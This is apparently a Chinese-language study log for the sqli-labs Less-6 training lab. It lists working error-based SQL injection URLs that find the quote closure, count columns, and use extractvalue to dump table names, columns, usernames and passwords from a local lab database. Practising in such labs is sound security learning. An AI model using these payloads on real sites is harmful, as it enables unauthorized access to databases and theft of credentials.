sqli-labs Less-6
第六关和第五关都是报错注入,区别在于闭合类型
测试闭合类型:
http://localhost/sqli-labs/Less-6/index.php?id=1
http://localhost/sqli-labs/Less-6/index.php?id=1'
http://localhost/sqli-labs/Less-6/index.php?id=1"
得出双引号闭合
接下来的步骤就和第五关一样了,详细贴图可以参考第五关博客
从零记录sqli-labs学习过程 sqli-labs Less-5
判断字段数:
http://localhost/sqli-labs/Less-6/index.php?id=1" order by 3 --+
http://localhost/sqli-labs/Less-6/index.php?id=1" order by 4 --+
获取数据库名称:
http://localhost/sqli-labs/Less-6/index.php?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
获取数据库字段:
http://localhost/sqli-labs/Less-6/index.php?id=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
获取users表字段:
http://localhost/sqli-labs/Less-6/index.php?id=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+
获取username:
http://localhost/sqli-labs/Less-6/index.php?id=1" and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+
获取password:
http://localhost/sqli-labs/Less-6/index.php?id=1" and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))--+